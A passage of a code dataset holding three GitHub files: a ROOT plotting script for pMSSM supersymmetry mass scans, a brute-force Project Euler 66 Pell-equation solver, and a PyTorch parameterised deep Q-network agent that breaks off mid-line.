[GeV]'\n self._make_plot(name, title, self.m_chargino1)\n\n name = 'm_chargino2'\n title = 'm_{#chi_{2}^{#pm}} [GeV]'\n self._make_plot(name, title, self.m_chargino2)\n\n name = 'm_stop1'\n title = 'm_{#tilde{t_{1}}} [GeV]'\n self._make_plot(name, title, self.m_stop1)\n\n name = 'm_stop2'\n title = 'm_{#tilde{t_{2}}} [GeV]'\n self._make_plot(name, title, self.m_stop2)\n\n name = 'm_smhiggs'\n title = 'm_{h^{0}} [GeV]'\n self._make_plot(name, title, self.m_smhiggs)\n\n name = 'm_sdown_l'\n title = 'm_{#tilde{d}_{L}} [GeV]'\n self._make_plot(name, title, self.m_sdown_l)\n\n name = 'm_sdown_r'\n title = 'm_{#tilde{d}_{R}} [GeV]'\n self._make_plot(name, title, self.m_sdown_r)\n\n name = 'm_sup_l'\n title = 'm_{#tilde{u}_{L}} [GeV]'\n self._make_plot(name, title, self.m_sup_l)\n\n name = 'm_sup_r'\n title = 'm_{#tilde{u}_{R}} [GeV]'\n self._make_plot(name, title, self.m_sup_r)\n\n name = 'm_sstrange_l'\n title = 'm_{#tilde{s}_{L}} [GeV]'\n self._make_plot(name, title, self.m_sstrange_l)\n\n name = 'm_sstrange_r'\n title = 'm_{#tilde{s}_{R}} [GeV]'\n self._make_plot(name, title, self.m_sstrange_r)\n\n name = 'm_scharm_l'\n title = 'm_{#tilde{c}_{L}} [GeV]'\n self._make_plot(name, title, self.m_scharm_l)\n\n name = 'm_scharm_r'\n title = 'm_{#tilde{c}_{R}} [GeV]'\n self._make_plot(name, title, self.m_scharm_r)\n\n # Lifetimes\n gStyle.SetPaintTextFormat('3.2g')\n\n name = 'ct_gluino'\n title = 'c#tau_{#tilde{g}} [mm]'\n self._make_plot(name, title, self.ct_gluino, decimals=99)\n\n name = 'ct_chargino1'\n title = 'c#tau_{#tilde{#chi}_{1}^{#pm}} [mm]'\n self._make_plot(name, title, self.ct_chargino1, decimals=99)\n\n name = 'ct_neutralino2'\n title = 'c#tau_{#tilde{#chi}_{2}^{0}} [mm]'\n self._make_plot(name, title, self.ct_neutralino2, decimals=99)\n\n gStyle.SetPaintTextFormat('g')\n\n # Mass differences\n name = 'm_gluino-m_chargino1'\n title = 'm_{#tilde{g}} - m_{#chi_{1}^{#pm}} [GeV]'\n self._make_plot(name, title, [a-b for a, b in\n zip(self.m_gluino, self.m_chargino1)])\n\n name = 'm_chargino1-m_neutralino1'\n title = 'm_{#chi_{1}^{#pm}} - m_{#chi_{1}^{0}} [GeV]'\n self._make_plot(name, title, [a-b for a, b in\n zip(self.m_chargino1,\n self.m_neutralino1)])\n\n name = 'm_neutralino3-m_neutralino1'\n title = 'm_{#chi_{3}^{0}} - m_{#chi_{1}^{0}} [GeV]'\n self._make_plot(name, title, [a-b for a, b in\n zip(self.m_neutralino3,\n self.m_neutralino1)])\n\n name = 'm_neutralino3-m_neutralino2'\n title = 'm_{#chi_{3}^{0}} - m_{#chi_{2}^{0}} [GeV]'\n self._make_plot(name, title, [a-b for a, b in\n zip(self.m_neutralino3,\n self.m_neutralino2)])\n\n name = 'm_neutralino2-m_neutralino1'\n title = 'm_{#chi_{2}^{0}} - m_{#chi_{1}^{0}} [GeV]'\n self._make_plot(name, title, [a-b for a, b in\n zip(self.m_neutralino2,\n self.m_neutralino1)])\n\n name = 'm_neutralino3-m_chargino1'\n title = 'm_{#chi_{3}^{0}} - m_{#chi_{1}^{#pm}} [GeV]'\n self._make_plot(name, title, [a-b for a, b in\n zip(self.m_neutralino3,\n self.m_chargino1)])\n\n name = 'm_neutralino2-m_chargino1'\n title = 'm_{#chi_{2}^{0}} - m_{#chi_{1}^{#pm}} [GeV]'\n self._make_plot(name, title, [a-b for a, b in\n zip(self.m_neutralino2,\n self.m_chargino1)])\n\n # Cross-sections\n name = 'xs13_incl'\n title = '#sigma_{inclusive} (13 TeV) [fb]'\n self._make_plot(name, title, self.xs13_incl)\n\n name = 'xs13_strong'\n title = '#sigma_{strong}/#sigma_{inclusive} (13 TeV)'\n self._make_plot(name, title, self.xs13_strong, True)\n\n name = 'xs13_gluino_gluino'\n title = '#sigma (pp #rightarrow #tilde{g}#tilde{g})/' \\\n '#sigma_{inclusive} (13 TeV)'\n self._make_plot(name, title, self.xs13_gluinos, True)\n\n name = 'xs8_incl'\n title = '#sigma_{inclusive} (8 TeV) [fb]'\n self._make_plot(name, title, self.xs8_incl)\n\n name = 'xs8_strong'\n title = '#sigma_{strong}/#sigma_{inclusive} (8 TeV)'\n self._make_plot(name, title, self.xs8_strong, True)\n\n name = 'xs13_xs8'\n title = '#sigma_{incl} (13 TeV)/#sigma_{incl} (8 TeV)'\n self._make_plot(name, title, [safe_divide(a, b) for a, b in\n zip(self.xs13_incl, self.xs8_incl)])\n\n # Dominant cross section particles\n gStyle.SetPaintTextFormat('7.0f')\n\n name = 'dom1'\n title = 'Dominant cross section particle 1'\n self._make_plot(name, title, self.dom_id1)\n\n name = 'dom2'\n title = 'Dominant cross section particle 2'\n self._make_plot(name, title, self.dom_id2)\n\n gStyle.SetPaintTextFormat('g')\n\n # Decay channels\n name = 'dc_gluino'\n title = 'Relative decay channels of #tilde{g}'\n self._make_plot_dc(name, title, self.dc_gluino)\n\n name = 'dc_chargino1'\n title = 'Relative decay channels of #tilde{#chi}_{1}^{#pm}'\n self._make_plot_dc(name, title, self.dc_chargino1)\n\n name = 'dc_chargino2'\n title = 'Relative decay channels of #tilde{#chi}_{2}^{#pm}'\n self._make_plot_dc(name, title, self.dc_chargino2)\n\n name = 'dc_neutralino2'\n title = 'Relative decay channels of #tilde{#chi}_{2}^{0}'\n self._make_plot_dc(name, title, self.dc_neutralino2)\n\n name = 'dc_neutralino3'\n title = 'Relative decay channels of #tilde{#chi}_{3}^{0}'\n self._make_plot_dc(name, title, self.dc_neutralino3)\n\n name = 'dc_neutralino4'\n title = 'Relative decay channels of #tilde{#chi}_{4}^{0}'\n self._make_plot_dc(name, title, self.dc_neutralino4)\n\n name = 'dc_sdown_l'\n title = 'Relative decay channels of #tilde{d}_{L}'\n self._make_plot_dc(name, title, self.dc_sdown_l)\n\n name = 'dc_sdown_r'\n title = 'Relative decay channels of #tilde{d}_{R}'\n self._make_plot_dc(name, title, self.dc_sdown_r)\n\n name = 'dc_sup_l'\n title = 'Relative decay channels of #tilde{u}_{L}'\n self._make_plot_dc(name, title, self.dc_sup_l)\n\n name = 'dc_sup_r'\n title = 'Relative decay channels of #tilde{u}_{R}'\n self._make_plot_dc(name, title, self.dc_sup_r)\n\n name = 'dc_sstrange_l'\n title = 'Relative decay channels of #tilde{s}_{L}'\n self._make_plot_dc(name, title, self.dc_sstrange_l)\n\n name = 'dc_sstrange_r'\n title = 'Relative decay channels of #tilde{s}_{R}'\n self._make_plot_dc(name, title, self.dc_sstrange_r)\n\n name = 'dc_scharm_l'\n title = 'Relative decay channels of #tilde{c}_{L}'\n self._make_plot_dc(name, title, self.dc_scharm_l)\n\n name = 'dc_scharm_r'\n title = 'Relative decay channels of #tilde{c}_{R}'\n self._make_plot_dc(name, title, self.dc_scharm_r)\n\n # Branching ratios\n for no_leptons in range(len(self.br_leptons)):\n name = 'br_{}_leptons'.format(no_leptons)\n title = 'BR into {} leptons'.format(no_leptons)\n self._make_plot(name, title, self.br_leptons[no_leptons], True)\n\n for no_leptons in range(len(self.br_leptons)):\n name = 'br_{}_leptons_incl'.format(no_leptons)\n title = 'BR into {}+ leptons'.format(no_leptons)\n self._make_plot(name, title, [sum(i) for i in\n zip(*self.br_leptons[no_leptons:])],\n True)\n\n for no_jets in range(len(self.br_jets)):\n name = 'br_{}_jets'.format(no_jets)\n title = 'BR into {} jets'.format(no_jets)\n self._make_plot(name, title, self.br_jets[no_jets], True)\n\n for no_jets in range(len(self.br_jets)):\n name = 'br_{}_jets_incl'.format(no_jets)\n title = 'BR into {}+ jets'.format(no_jets)\n self._make_plot(name, title, [sum(i) for i in\n zip(*self.br_jets[no_jets:])],\n True)\n\n for no_photons in range(len(self.br_photons)):\n name = 'br_{}_photons'.format(no_photons)\n title = 'BR into {} photons'.format(no_photons)\n self._make_plot(name, title, self.br_photons[no_photons], True)\n\n for no_photons in range(len(self.br_photons)):\n name = 'br_{}_photons_incl'.format(no_photons)\n title = 'BR into {}+ photons'.format(no_photons)\n self._make_plot(name, title, [sum(i) for i in\n zip(*self.br_photons[no_photons:])],\n True)\n\n # Cross-sections times branching ratio\n for no_leptons in range(len(self.br_leptons)):\n name = 'xs13_x_br_{}_leptons'.format(no_leptons)\n title = '#sigma #times BR(#tilde{{g}}#tilde{{g}} #rightarrow {} ' \\\n 'leptons) [fb]'.format(no_leptons)\n self._make_plot(name, title,\n [a*b for a, b in\n zip(self.br_leptons[no_leptons], self.xs13_incl)])\n\n # Signal strength\n name = 'mu'\n title = '#mu'\n self._make_plot(name, title, self.mu, decimals=2)\n\n # Close root file\n if self._toolbox.rootfile.IsOpen():\n self._toolbox.rootfile.Close()\n\n # Move used SLHA template to output folder\n system('cp suspect2_lha.template {}'.format(self._toolbox.directory))\n system('mv susyhit_slha_*.out {}'.format(self._toolbox.directory))\n system('mv suspect2_*.out {}'.format(self._toolbox.directory))\n\n # Move SModelS output to output folder\n system('mv smodels_summary_*.txt {} 2>/dev/null'\n .format(self._toolbox.directory))\n\n def _make_plot(self, name, title, coordinate_z, percentage=False,\n decimals=1):\n\n \"\"\" Create specific plot. \"\"\"\n\n # If there's nothing to plot, don't plot it\n if len(coordinate_z) == 0:\n return\n\n # Set z range\n z_low = 0.\n if percentage:\n z_high = 100.\n else:\n z_high = max(coordinate_z)+1.\n\n # Set scaling constant\n if percentage:\n scale = 100.\n else:\n scale = 1.\n\n # Define TH2\n self._toolbox.create_histogram(name, title, self.coordinate_x,\n self.coordinate_y)\n self._toolbox.modify_axes(self._axis_x, self._axis_y, z_low, z_high)\n\n # Fill numbers\n self._toolbox.plot_numbers(self.coordinate_x, self.coordinate_y,\n coordinate_z, scale, decimals)\n self._toolbox.plot_star(self._star)\n self._toolbox.plot_text([.15, .81], self._text)\n #self._toolbox.plot_diagonal()\n self._toolbox.save(['pdf', 'png'])\n\n def _make_plot_dc(self, name, title, dcs):\n\n \"\"\" Create plot showing relative decay channels. \"\"\"\n\n # If there's nothing to plot, don't plot it\n if len(dcs) == 0:\n return\n\n # The TH2 needs to have ten times as many bins per axis\n self._toolbox.create_histogram(name, title, self.coordinate_x,\n self.coordinate_y, 10)\n self._toolbox.modify_axes(self._axis_x, self._axis_y)\n\n # Fill numbers\n self._toolbox.plot_dcs(self.coordinate_x, self.coordinate_y, dcs)\n #self._toolbox.plot_diagonal()\n self._toolbox.save(['pdf', 'png'])\n\n def set_axis(self, axis_x, axis_y):\n\n \"\"\" Set axis labels. \"\"\"\n\n # Set the main label\n axis_x = self._get_axis_label(axis_x)\n axis_y = self._get_axis_label(axis_y)\n\n ## Add all additional labels from the dictionaries\n #for key, value in axis_x_add.iteritems():\n # if value == 0:\n # axis_x += ' = {}'.format(self._get_axis_label(key))\n # elif value > 0:\n # axis_x += ' = {} - {}'.format(self._get_axis_label(key), value)\n # else:\n # axis_x += ' = {} + {}'.format(self._get_axis_label(key),\n # abs(value))\n #for key, value in axis_y_add.iteritems():\n # if value == 0:\n # axis_y += ' = {}'.format(self._get_axis_label(key))\n # elif value > 0:\n # axis_y += ' = {} - {}'.format(self._get_axis_label(key), value)\n # else:\n # axis_y += ' = {} + {}'.format(self._get_axis_label(key),\n # abs(value))\n\n ## Add unit\n #axis_x += ' [GeV]'\n #axis_y += ' [GeV]'\n\n self.set_axis_x(axis_x)\n self.set_axis_y(axis_y)\n\n LGR.debug('Set x axis to %s', axis_x)\n LGR.debug('Set y axis to %s', axis_y)\n\n def set_axis_x(self, axis_x):\n\n \"\"\" Set x axis label. \"\"\"\n\n self._axis_x = axis_x\n\n def set_axis_y(self, axis_y):\n\n \"\"\" Set y axis label. \"\"\"\n\n self._axis_y = axis_y\n\n def _get_axis_label(self, axis):\n\n \"\"\" Translate particle ID into string for axis labels. \"\"\"\n\n if axis == 1:\n return 'M_{1}'\n if axis == 2:\n return 'M_{2}'\n if axis == 3:\n return 'M_{3}'\n if axis == 23:\n return '#mu'\n if axis == 4142:\n return 'm_{#tilde{q}_{12L}}'\n if axis == 44454748:\n return 'm_{#tilde{q}_{12R}}'\n if axis == 313233343536:\n return 'm_{#tilde{l}}'\n return str(axis)\n\n def set_text(self, prmtr_id, d_prmtr_add, d_prmtr_scale):\n\n \"\"\" Set text describing the different values of the parameters. \"\"\"\n\n # Only add text if there is at least one additional variable\n if len(d_prmtr_add) == 0:\n return\n\n text = self._get_axis_label(prmtr_id)\n\n # Add all additional labels from the dictionaries\n for key in set(d_prmtr_add.keys() + d_prmtr_scale.keys()):\n\n # Get string for scaled parameter\n if d_prmtr_scale[key] == 1:\n scale = ''\n else:\n scale = '{0:.2f} * '.format(d_prmtr_scale[key])\n\n # Get string for shifted parameter\n if d_prmtr_add[key] == 0:\n shift = ''\n elif d_prmtr_add[key] > 0:\n shift = ' + {}'.format(d_prmtr_add[key])\n else:\n shift = ' - {}'.format(abs(d_prmtr_add[key]))\n\n self._text.append('{} = {}{}{}'\n .format(self._get_axis_label(key), scale,\n self._get_axis_label(prmtr_id), shift))\n ## If the scale is 1, we don't want to plot it\n #if scale == 1:\n # scale_str = ''\n #else:\n # scale_str = '{0:.2f} * '.format(scale)\n #if shift == 0:\n # text += ' = {}{}'.format(scale_str, self._get_axis_label(key))\n #elif shift > 0:\n # text += ' = {}{} - {} GeV'.format(scale_str, self._get_axis_label(key),\n # shift)\n #else:\n # text += ' = {}{} + {} GeV'.format(scale_str, self._get_axis_label(key),\n # abs(shift))\n\n #self._text.append(text)\n\n def set_rootfile(self, s_rootfile_name):\n\n \"\"\" Set rootfile name in toolbox. \"\"\"\n\n # If rootfile is located in a subdirectory, create directory first\n if '/' in s_rootfile_name:\n system('mkdir -p {}'\n .format('/'.join(s_rootfile_name.split('/')[:-1])))\n\n self._toolbox.rootfile = TFile(s_rootfile_name, 'UPDATE')\n\n def get_directory(self):\n\n \"\"\" Get directory in which objects are stored. \"\"\"\n\n return self._toolbox.directory\n\n def set_directory(self, s_directory):\n\n \"\"\" Set directory in which objects are stored. \"\"\"\n\n self._toolbox.directory = s_directory\n\n def set_star(self, coordinate_x, coordinate_y):\n\n \"\"\" Set star to be plotted at coordinates (x/y). \"\"\"\n\n self._star = [coordinate_x, coordinate_y]\n","repo_name":"lisabbasil/pMSSM-scan","sub_path":"MassScanPlots.py","file_name":"MassScanPlots.py","file_ext":"py","file_size_in_byte":20096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6410629357","text":"# ok what the heck can we do with this thing\n# x^2 - Dy^2 = 1\n# (x + sqrt(D)y)(x - sqrt(D)y) = 1\n# x + sqrt(D)y = 1/(x - sqrt(D)y)\n# = (x + sqrt(D)y)/(x^2 - Dy^2)\n# well that's useless\n\n# try again\n# x^2 \\in {0, 1, 4, 5, 6, 9} mod 10\n\n# more trying\n# fact 1: x has to be in (-1, 1) mod D, cool\n# so that means x = aD +- 1 for some a\n# a^2D^2 +- 2aD - Dy^2 = 0\n# y^2 = a^2D +- 2\n\n# ...OR D can already be one less than a perfect square, eg 15\n# but then that's super easy, min x is just sqrt(D + 1)\n\n# hmm observe for 13\n# 12^2 - 1 = 11*13\n# 14^2 - 1 = 13*15\n# 25^2 - 1 = 24*26 = 13*48\n# 27^2 - 1 = 26*28 = 13*56\n\n# eg 13 - 2, 13 + 2, 4(13) - 4, 4(13) + 4, 9(13) - 6, 9(13) + 6...\n\n# and 649^2 - 1 = 648 * 650 = 13 * 25 * 2 * 2 * 18 * 18\n# then 651^2 - 1 = 650 * 652\n# so 180^2 = 50^2(13) - 100\n\n# anyway, we're looking for perfect square solutions to 13a^2 +- 2a = x\n# every time a increments, the positive solution increases by 26a + 15\n# and the negative by 26a + 11\n\n# why does 50 work? 50(13 * 50 - 2) = 50(12 * 50 + 48) = 50(12 * 54)...\n\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n# not sure i'm going to think of anything better than smashing it\nimport math\n\nlimit = 300\nminx = [0 for i in range(limit + 1)]\n\nfor D in range(2, limit + 1):\n # perfect squares have no solutions\n if D in [i ** 2 for i in range(int(math.sqrt(limit)) + 1)]:\n #print(D)\n continue\n if D % 10 == 0:\n print(D)\n\n if math.sqrt(D + 1).is_integer():\n minx[D] = int(math.sqrt(D + 1))\n continue\n x = 0\n x2 = 1\n y = 0\n Dy2 = 0\n \n mods = [k ** 2 % D for k in range(D)]\n rootsOfUnity = [j for j in range(D) if mods[j] == 1]\n #print(D)\n #print(rootsOfUnity)\n \n while True:\n cands = [D * x + a for a in rootsOfUnity]\n #print(cands)\n\n prevCand = D * x - 1\n for cand in cands:\n\n # go from the last candidate to this one\n x2 += (cand - prevCand) ** 2 + 2 * prevCand * (cand - prevCand)\n #print(x2)\n\n if x2 == 1:\n continue\n\n while Dy2 < x2 - 1:\n y += 1\n Dy2 += D * (2 * y - 1)\n\n if Dy2 == x2 - 1:\n minx[D] = cand\n break\n\n prevCand = cand\n\n if minx[D] != 0:\n break\n\n x += 1\n\n # uhhhh why are some of them not working\n if x > D ** 2:\n print(str(D) + \" timeout\")\n minx[D] = float('inf')\n break\n\nprint(minx)\nprint(minx.index(max(minx))) \n","repo_name":"dbork/euler","sub_path":"51-100/66.py","file_name":"66.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33834765040","text":"import numpy as np\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.autograd import Variable\nfrom copy import deepcopy\n\n\nclass CircularBuffer(object):\n def __init__(self, maxlen, shape, dtype='float32'):\n self.maxlen = maxlen\n self.start = 0\n self.length = 0\n self.data = np.zeros((maxlen,) + shape).astype(dtype)\n\n def __len__(self):\n return self.length\n\n def __getitem__(self, idx):\n if idx < 0 or idx >= self.length:\n raise KeyError()\n return self.data[(self.start + idx) % self.maxlen]\n\n def get_batch(self, idxs):\n return self.data[(self.start + idxs) % self.maxlen]\n\n def append(self, v):\n if self.length < self.maxlen:\n self.length += 1\n elif self.length == self.maxlen:\n self.start = (self.start + 1) % self.maxlen\n else:\n raise RuntimeError()\n self.data[(self.start + self.length - 1) % self.maxlen] = v\n\n def clear(self):\n self.start = 0\n self.length = 0\n self.data[:] = 0 \n\nclass Memory(object):\n \n \"\"\"\n Implement a typical memory buffer class to add elements and retrieve batches of data from the replay buffer\n Source: https://github.com/openai/baselines/blob/master/baselines/ddpg/ddpg.py\n \"\"\"\n def __init__(self, limit, observation_shape, action_shape, next_actions=False):\n self.limit = limit\n\n self.states = CircularBuffer(limit, shape=observation_shape)\n self.actions = CircularBuffer(limit, shape=action_shape)\n self.rewards = CircularBuffer(limit, shape=(1,))\n self.next_states = CircularBuffer(limit, shape=observation_shape)\n self.next_actions = CircularBuffer(limit, shape=action_shape) if next_actions else None\n self.terminals = CircularBuffer(limit, shape=(1,))\n\n def sample(self, batch_size, random_machine=np.random):\n batch_idxs = random_machine.random_integers(low=0, high=self.nb_entries-1, size=batch_size)\n #sample a batch from the replay buffer\n states_batch = self.states.get_batch(batch_idxs)\n actions_batch = self.actions.get_batch(batch_idxs)\n rewards_batch = self.rewards.get_batch(batch_idxs)\n next_states_batch = self.next_states.get_batch(batch_idxs)\n next_actions = self.next_actions.get_batch(batch_idxs) if self.next_actions is not None else None\n terminals_batch = self.terminals.get_batch(batch_idxs)\n\n if next_actions is not None:\n return states_batch, actions_batch, rewards_batch, next_states_batch, next_actions, terminals_batch\n else:\n return states_batch, actions_batch, rewards_batch, next_states_batch, terminals_batch\n\n def append(self, state, action, reward, next_state, next_action=None, terminal=False, training=True):\n #inserts a new element into the replay buffer\n if not training:\n return\n\n self.states.append(state)\n self.actions.append(action)\n self.rewards.append(reward)\n self.next_states.append(next_state)\n if self.next_actions:\n self.next_actions.append(next_action)\n self.terminals.append(terminal)\n\n def clear(self):\n self.states.clear()\n self.actions.clear()\n self.rewards.clear()\n self.next_states.clear()\n self.next_actions.clear()\n self.terminals.clear()\n\n @property\n def nb_entries(self):\n return len(self.states)\n\nclass buildQnetwork(nn.Module):\n \"\"\"\n Deep recurrent Q network using Pytorch\n \n Input\n -----------\n inputDimensions : input dimensions of the state space\n action_size: action space size\n action_parameter_size: action parameter size\n layer_neurons: number of neurons \n initial_std: initial standard deviation for initializing layers\n activation: activation function\n update_rule: choice of the optimizer \n -----------\n \"\"\"\n\n def __init__(self, inputDimensions, action_size, action_parameter_size, layer_neurons=[128,], initial_std=0.0001, activation=\"relu\",update_rule=\"adam\"):\n super(buildQnetwork, self).__init__()\n \n self.inputDimensions = inputDimensions\n self.action_size = action_size\n self.action_parameter_size = action_parameter_size\n self.activation = activation\n \n # create NN layers: \n self.layers = nn.ModuleList()\n inputSize = self.inputDimensions + self.action_parameter_size # input size\n \n self.layers.append(nn.Linear(inputSize, layer_neurons[0])) \n self.layers.append(nn.LSTM(input_size=layer_neurons[0], hidden_size=layer_neurons[0], num_layers=1))\n self.layers.append(nn.Linear(layer_neurons[0], layer_neurons[0])) \n self.layers.append(nn.Linear(layer_neurons[0], self.action_size))\n\n # initialize neural network parameters\n # the first layer only\n nn.init.kaiming_normal_(self.layers[0].weight, nonlinearity=activation) #Fills the input Tensor with values according to the method described in Delving deep into rectifiers: Surpassing human-level performance on ImageNet classification - He, K. et al. (2015), using a normal distribution\n nn.init.zeros_(self.layers[0].bias) # initialized bias of first layer to zero \n \n nn.init.normal_(self.layers[-1].weight, mean=0., std=initial_std) # initialize the last layer with a normal distribution\n nn.init.zeros_(self.layers[-1].bias) # initialize the bias of the last layer to zero\n \n def forward(self, state, action_parameters):\n # implement forward\n x = torch.cat((state, action_parameters), dim=1) # combine state and action parameters\n x = F.relu(self.layers[0](x))\n \n h0 = torch.zeros(1, x.size(1)).requires_grad_() # hidden value for LSTM\n c0 = torch.zeros(1,x.size(1)).requires_grad_() # cell state for LSTM\n\n x, (hn, cn) = self.layers[1](x, (h0.detach(), c0.detach())) # this is the lstm layer\n \n x = F.relu(self.layers[2](x))\n \n Q = self.layers[-1](x) # output layer\n return Q\n\n\nclass buildParamActorNetwork(nn.Module):\n \"\"\"\n Deep Parameter actor network using Pytorch\n \n Input\n -----------\n inputDimensions : input dimensions of the state space\n action_size: action space size\n action_parameter_size: action parameter size\n layer_neurons: number of neurons \n initial_std: initial standard deviation for initializing layers\n activation: activation function\n update_rule: choice of the optimizer \n -----------\n \"\"\"\n\n\n def __init__(self, inputDimensions, action_size, action_parameter_size, layer_neurons,\n initial_std=0.0001, activation=\"relu\",update_rule=\"adam\"):\n super(buildParamActorNetwork, self).__init__()\n\n self.inputDimensions = inputDimensions\n self.action_size = action_size\n self.action_parameter_size = action_parameter_size\n self.activation = activation\n\n # create layers\n self.layers = nn.ModuleList()\n inputSize = self.inputDimensions\n self.layers.append(nn.Linear(inputSize, layer_neurons[0]))\n# self.layers.append(nn.LSTM(input_size=layer_neurons[0], hidden_size=layer_neurons[0], num_layers=1))\n self.layers.append(nn.Linear(layer_neurons[0], self.action_parameter_size)) # output layer\n\n # initialise neural network parameters of the first layer\n nn.init.kaiming_normal_(self.layers[0].weight, nonlinearity=activation) #one can also try nn.init.normal_(self.layers[i].weight, std=init_std)\n nn.init.zeros_(self.layers[0].bias) # put bias to zero\n\n # initialise neural network parameters of the last layer\n nn.init.normal_(self.layers[-1].weight, std=initial_std) # noraml distribution\n nn.init.zeros_(self.layers[-1].bias)\n\n\n def forward(self, state):\n x = state\n x = F.relu(self.layers[0](x))\n \n# h1 = torch.zeros(1,128).requires_grad_() # hidden value for LSTM\n# c1 = torch.zeros(1,128).requires_grad_() # cell state for LSTM\n# x, (hn, cn) = self.layers[1](x, (h1.detach(), c1.detach())) # this is the lstm layer\n\n action_params = self.layers[-1](x)\n \n return action_params\n\n\nclass Agent_PDQN:\n \"\"\"\n Agent for parameterised action spaces\n Paper: \"Parametrized Deep Q-Networks Learning: Reinforcement\nLearning with Discrete-Continuous Hybrid Action Space\"\nhttps://arxiv.org/pdf/1810.06394v1.pdf\n -----------\n state_space: the observation space\n action_space: the action space\n QNN: indicates which class to use for building the actor parameter network\n actor_paramNN: indicates which class to use for building the actor parameter network\n epsilon_initial: initial epsiolon value for exploration\n epsilon_final: final epsilon value\n epsilon_steps: maximum epsilon step\n batch_size: batch size\n gamma: discount factor gamma\n tau_Q: parameter tau for soft update of the Q network\n tau_actor_param: parameter tau for soft update of the actor parameter network\n replay_memory_size: replay buffer size\n Q_learning_rate: learning rate for the Q network\n actor_param_learning_rate: learning rate for the actor parameter network\n memory_trigger: trigger value before starting the training \n clip_grad: gradient clip value\n layer_neurons: number of neurons\n initial_std: initial standard deviation for initializing weights\n update_rule=\"adam\": indicate optimizer\n activation : activation functions for layers\n device=\"cuda\" if torch.cuda.is_available() else \"cpu\": simulations were run using a CPU\n random_seed: random seed value\n\n \"\"\"\n \n def __init__(self,state_space=None,action_space=None,QNN=buildQnetwork,actor_paramNN=buildParamActorNetwork, epsilon_initial=1.0, epsilon_final=0.01,epsilon_steps=10000,batch_size=64,gamma=0.9,tau_Q=0.01,tau_actor_param=0.001, replay_memory_size=1000000,Q_learning_rate=0.0001,actor_param_learning_rate=0.00001,memory_trigger=0,clip_grad=10,layer_neurons=[128], initial_std=0.0001,update_rule=\"adam\",activation=\"relu\",device=\"cuda\" if torch.cuda.is_available() else \"cpu\",random_seed=None,memory=Memory):\n \n# super(Agent_PDQN, self).__init__(state_space, action_space)\n \n # typical initialization\n self.device = torch.device(device)\n self.action_space=action_space\n self.state_space=state_space\n self.num_actions = self.action_space.spaces[0].n\n self.action_parameter_sizes = np.array([self.action_space.spaces[i].shape[0] for i in range(1,self.num_actions+1)])\n self.action_parameter_size = int(self.action_parameter_sizes.sum())\n self.action_max = torch.from_numpy(np.ones((self.num_actions,))).float().to(device)\n self.action_min = -self.action_max.detach()\n self.action_range = (self.action_max-self.action_min).detach()\n self.action_parameter_max_numpy = np.concatenate([self.action_space.spaces[i].high for i in range(1,self.num_actions+1)]).ravel()\n self.action_parameter_min_numpy = np.concatenate([self.action_space.spaces[i].low for i in range(1,self.num_actions+1)]).ravel()\n self.action_parameter_range_numpy = (self.action_parameter_max_numpy - self.action_parameter_min_numpy)\n self.action_parameter_max = torch.from_numpy(self.action_parameter_max_numpy).float().to(device)\n self.action_parameter_min = torch.from_numpy(self.action_parameter_min_numpy).float().to(device)\n self.action_parameter_range = torch.from_numpy(self.action_parameter_range_numpy).float().to(device)\n self.epsilon = epsilon_initial\n self.epsilon_initial = epsilon_initial\n self.epsilon_final = epsilon_final\n self.epsilon_steps = epsilon_steps\n self.update_rule=update_rule\n self.activation=activation\n\n self.action_parameter_offsets = self.action_parameter_sizes.cumsum()\n self.action_parameter_offsets = np.insert(self.action_parameter_offsets, 0, 0)\n\n self.batch_size = batch_size\n self.gamma = gamma\n self.replay_memory_size = replay_memory_size\n self.memory_trigger = memory_trigger\n self.Q_learning_rate = Q_learning_rate\n self.actor_param_learning_rate = actor_param_learning_rate\n self.tau_Q = tau_Q\n self.tau_actor_param = tau_actor_param\n self._step = 0\n self.episodes = 0\n self.clip_grad = clip_grad\n\n self.random_seed = random_seed\n \n random.seed(self.random_seed)\n np.random.seed(self.random_seed)\n self.np_random = np.random.RandomState(seed=self.random_seed)\n torch.manual_seed(self.random_seed)\n \n self.layer_neurons=layer_neurons\n self.initial_std=initial_std\n self.Memory=Memory\n self.replay_memory = self.Memory(replay_memory_size, state_space.shape, (1+self.action_parameter_size,), next_actions=False)\n self.Q = QNN(self.state_space.shape[0], self.num_actions, self.action_parameter_size,self.layer_neurons,self.initial_std,activation=self.activation,update_rule=self.update_rule).to(device)\n self.Q_target = QNN(self.state_space.shape[0], self.num_actions, self.action_parameter_size,self.layer_neurons,self.initial_std,activation=self.activation,update_rule=self.update_rule).to(device)\n self.target_network_initialize(self.Q, self.Q_target)\n self.Q_target.eval()\n\n self.actor_param = actor_paramNN(self.state_space.shape[0], self.num_actions, self.action_parameter_size,self.layer_neurons,self.initial_std,activation=self.activation,update_rule=self.update_rule).to(device)\n self.actor_param_target = actor_paramNN(self.state_space.shape[0], self.num_actions, self.action_parameter_size,self.layer_neurons, self.initial_std,activation=self.activation,update_rule=self.update_rule).to(device)\n self.target_network_initialize(self.actor_param, self.actor_param_target)\n self.actor_param_target.eval()\n\n if self.update_rule==\"adam\":\n self.Q_optimiser = optim.Adam(self.Q.parameters(), lr=self.Q_learning_rate) \n self.actor_param_optimiser = optim.Adam(self.actor_param.parameters(), lr=self.actor_param_learning_rate) \n elif self.update_rule==\"SGD\":\n self.Q_optimiser = optim.SGD(self.Q.parameters(), lr=self.Q_learning_rate) \n self.actor_param_optimiser = optim.SGD(self.actor_param.parameters(), lr=self.actor_param_learning_rate) \n else: # adam opt by default\n self.Q_optimiser = optim.Adam(self.Q.parameters(), lr=self.Q_learning_rate) \n self.actor_param_optimiser = optim.Adam(self.actor_param.parameters(), lr=self.actor_param_learning_rate) \n\n def update_epsilon(self):\n # update epsilon (for exploration)\n self.episodes += 1\n\n ep = self.episodes\n if ep < self.epsilon_steps:\n self.epsilon = self.epsilon_initial - (self.epsilon_initial - self.epsilon_final) * (ep / self.epsilon_steps)\n else:\n self.epsilon = self.epsilon_final\n\n def reshape_action(self, action, action_param):\n # reshapes the action by returning a tuple (action, action_parameters)\n params = [np.zeros((1,)), 